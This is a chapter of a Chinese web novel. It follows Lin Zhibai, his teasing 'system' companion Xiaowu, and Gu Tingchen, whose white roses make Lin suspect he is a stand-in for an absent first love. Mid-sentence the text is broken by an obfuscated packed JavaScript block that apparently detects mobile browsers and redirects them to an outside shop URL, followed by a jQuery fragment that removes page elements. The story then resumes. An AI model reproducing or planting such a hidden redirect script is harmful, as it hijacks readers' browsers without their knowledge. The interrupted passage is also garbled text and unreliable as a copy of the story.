九月的夜风从窗户缝隙钻进来，带着一点凉意。
林知白盯着手机屏幕上的对话框，光标还在闪烁。顾霆琛最后那条消息“晚上早点回来”静静地躺在那里，已经过去了三个小时。
他没回。
回了又怎样？他又不是我等的那个人。
手机屏幕暗下去，又被他按亮。暗下去，再按亮。窗外有车灯划过天花板，他的心跳就会漏一拍，然后听见车子驶过的声音越来越远。
“宿主，你这样很像个望夫石。”小污的声音突然冒出来，“还是那种被抛弃了还在等的望夫石。”
“我没在等。”
“那你按亮手机四十七次是为什么？数星星吗？”
林知白把手机扣在床头柜上，屏幕朝下。黑暗里，他能听见自己的呼吸声。
然后他听见了——车库门开启的声音。
心脏猛地撞了一下胸腔。
楼下传来轻微的响动，脚步声，然后是上楼的声音。林知白闭上眼睛，调整呼吸，假装睡着了。
脚步声停在卧室门口。
没动静了。
林知白背对着门，全身的神经都绷紧了。他能感觉到那道目光落在自己背上，像有实质的重量。
过了很久——也许是几秒，也许是几分钟——门轻轻关上了。
林知白睁开眼睛，盯着黑暗中的墙壁。
小污幽幽开口：“宿主，你知道他刚才在门口站了多久吗？”
“不想知道。”
“三分十五秒。”
“......”
“你知道他今天的行程吗？早上六点飞上海，下午四场会，晚上七点的飞机回北京，结果航班延误，他开车从机场直接回来，现在快十二点了。”
林知白翻了个身，面朝天花板：“小污，你很吵。”
“本系统只是客观陈述事实。”
“事实是他把我送人了。”林知白的声音很轻，“事实是饭桌上他说‘人我带到了，您随意’。事实是我在雨里给他打电话，他关机。”
小污沉默了。
过了会儿，它的声音再次响起，少了平时的毒舌：“宿主，你哭了？”
“没有。”
“可是本系统的湿度传感器显示——”
“我说没有就没有。”
窗外的风吹动窗帘，像有什么人在轻轻叹息。
第二天早上，林知白醒来的时候，阳光已经铺满了半个房间。他看了眼时间，九点半。
床头柜上放着托盘：一碗小米粥，两个小菜，一杯温牛奶。杯子下面压着张纸条，熟悉的字迹：
“醒了给我电话。”
林知白盯着那四个字看了很久，然后把纸条对折，放进了抽屉。
粥还是温的。
“宿主，你今天心情好像不错？”小污试探着问。
“没有。”
“你刚才喝粥的时候嘴角上扬了零点三厘米！”
“那是烫的。”
中午的时候，阿姨来做了午饭。林知白一个人坐在餐桌上，对面空荡荡的。四菜一汤，每道菜都刚好是他喜欢的口味。
“阿姨，这鱼香肉丝怎么是甜的？”
“顾先生交代的呀，说你喜欢吃甜口的。”阿姨笑着给他盛汤，“昨晚顾先生回来，你睡了是吧？他在客厅坐了好久哦，早上走的时候还特意交代我，粥要熬得稠一点，说你胃不好。”
林知白筷子顿了顿。
“还有这个汤，他说你昨天淋雨了，要多喝点姜驱寒。我本来想放少点姜的，他非要我多放，说辣一点效果好。”阿姨絮絮叨叨，“顾先生以前可不管这些的，小林，你们是不是......”
“阿姨。”林知白打断她，笑了笑，“我吃饱了。”
碗里的饭，还剩大半。
下午三点，手机响了。
林知白看着屏幕上跳动的名字，接了。
“吃了没？”顾霆琛的声音听起来有点疲惫。
“吃了。”
“吃的什么？”
“鱼香肉丝，糖醋排骨，还有......忘了。”
电话那头沉默了几秒：“晚上想吃什么？我带回来。”
林知白握着手机的手收紧了一点：“不用了，阿姨会做。”
“我问你想吃什么。”
“......随便。”
“没有随便这道菜。”
林知白没说话。窗外的阳光很好，好到有些刺眼。
“林知白。”顾霆琛突然叫他的名字，声音低了下去，“昨晚的事......”
“昨晚什么事？”林知白打断他，“我睡了，不知道。”
电话里是长长的沉默。
久到林知白以为电话断了，他才听见顾霆琛的声音：“晚上早点回来，我有话跟你说。”
“好。”
挂了电话，林知白站在窗前，看着楼下的花园。园丁正在修剪玫瑰，红色的，开得很艳。
“宿主，他说‘有话跟你说’诶！”小污兴奋起来，“会不会是道歉？会不会是表白？会不会是——”
“小污。”
“嗯？”
“你很吵。”
傍晚的时候，林知白坐在客厅里，手里拿着本书，半天没翻一页。天一点一点暗下去，灯一点一点亮起来。
六点。七点。八点。
门口终于传来动静。
林知白低下头，假装在看书。
脚步声走近，停在他面前。
“看什么呢？”
林知白抬起眼皮，把手里的书翻过来给他看封面——随便从书架上抽的一本，根本没注意是什么。
顾霆琛看了一眼，嘴角微微扬起：“看得懂吗？”
林知白这才低头看书名——全英文的，金融专业著作。
“......”他把书合上放到一边，“随便看看。”
“吃饭了吗？”
“吃了。”
顾霆琛看了他一眼，没说话，把手里提着的东西放到茶几上。是一个白色的纸盒，没有logo。
“打开看看。”
林知白解开丝带，掀开盒盖——
一束白玫瑰。
花瓣上还带着水珠，在灯光下泛着柔和的光泽。包装很简单，透明的玻璃纸，白色的丝带，像是刚从花店里随手拿的。
“路上看到随便买的。”顾霆琛的声音从头顶传来，语气很随意。
林知白盯着那束花，手指轻轻抚过花瓣。
很软。很凉。
他突然想起书房那个相框。照片里的人，手里也拿着一束白玫瑰。同样的白色，同样的包装，甚至连花瓣上的水珠都那么像。
“他......也喜欢白玫瑰吗？”
林知白听见自己的声音，平静得像是问今天天气怎么样。
顾霆琛没有回答。
沉默像水一样漫过来，淹没了整个客厅。
林知白抬起头，看着站在面前的男人。顾霆琛的表情没有任何变化，但那双眼睛里，有什么东西闪了一下，很快，快到几乎捕捉不到。
然后他明白了。
“我知道了。”林知白笑了笑，低下头，把花重新放回盒子里，动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432105|200930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作很轻，“挺好看的，谢谢。”
他站起身，抱着盒子往餐厅走：“我去找个花瓶插起来。”
“林知白——”
“对了。”他回过头，笑容还在脸上，“你不是说有话要说吗？什么话？”
顾霆琛看着他，嘴唇动了动，最终只说：“明天有个慈善晚宴，你跟我一起去。”
“好啊。”林知白答应得很痛快，“几点？我准备一下。”
“下午六点，会有造型师过来。”
“好。”
林知白转身进了餐厅，从柜子里翻出一个花瓶，透明的玻璃的，洗干净，接上水，把白玫瑰一支一支插进去。
他的动作很仔细，每一支都调整好角度，让它们错落有致地开放。
“宿主。”小污的声音响起来，难得地小心翼翼，“你又不高兴了？”
“没有啊。”林知白拿起剪刀，斜着剪掉一枝花杆的底部，“这花真的挺好看的。”
“宿主，你别这样。”
“别哪样？”
“别......笑。”
林知白的手顿了顿，剪刀在花杆上留下一个浅浅的印子。
他把最后一枝花插进花瓶，端着走到客厅，放在茶几正中央。白色的玫瑰在灯光下静静绽放，美得像一场幻觉。
“我去睡了。”他看向顾霆琛，“明天几点来着？”
“六点。”
“好，晚安。”
林知白上楼，走进卧室，关上门。
他靠在门板上，听着楼下的动静。很久很久，什么声音都没有。
窗外有车驶过，灯光划过天花板，又消失。
他走到床边躺下，盯着天花板。
床头柜上，手机屏幕亮了一下。是顾霆琛的消息：
“晚安。”
林知白看着那两个字，没有回复。
他把手机放到一边，翻了个身，面朝窗户。月光透过窗帘的缝隙漏进来，在地板上画出一道淡淡的痕迹。
小污的声音轻轻响起：“宿主，你睡了吗？”
“没有。”
“那你在想什么？”
林知白沉默了很久，久到小污以为他不会回答了。
然后他听见宿主的声音，很轻，轻得像一片落叶：
“我在想，他叫‘早点回来’的时候，是在叫我的名字，还是在叫那个人的名字。”
小污没说话。
“他带花回来的时候，是想送给我，还是想送给那个人。”
月光在地板上慢慢移动。
“他看着我说话的时候，眼里的人是我，还是那个人。”
“宿主......”
林知白闭上眼睛，嘴角微微弯起，是一个笑的表情。
“没事，我就是随便想想。”
卧室的门缝里，透进来一线光。那是客厅的灯，还亮着。
楼下，顾霆琛坐在沙发上，看着茶几上那束白玫瑰，一动不动。
他看着那束花，就像在看着别的什么。
很久之后，他拿起手机，打开相册。
相册里只有一张照片，是一个人的侧脸，趴在餐桌上睡着了。阳光从窗户照进来，在那人脸上镀了一层浅金色的光。
他看了很久。
然后他把手机放到一边，靠在沙发上，闭上眼睛。
客厅的灯，亮了一夜。
第二天下午六点，造型师准时出现。林知白换上西装，坐上顾霆琛的车，前往慈善晚宴。
他不知道，那场晚宴上，会有一个人出现。
白月光苏沐，回来了。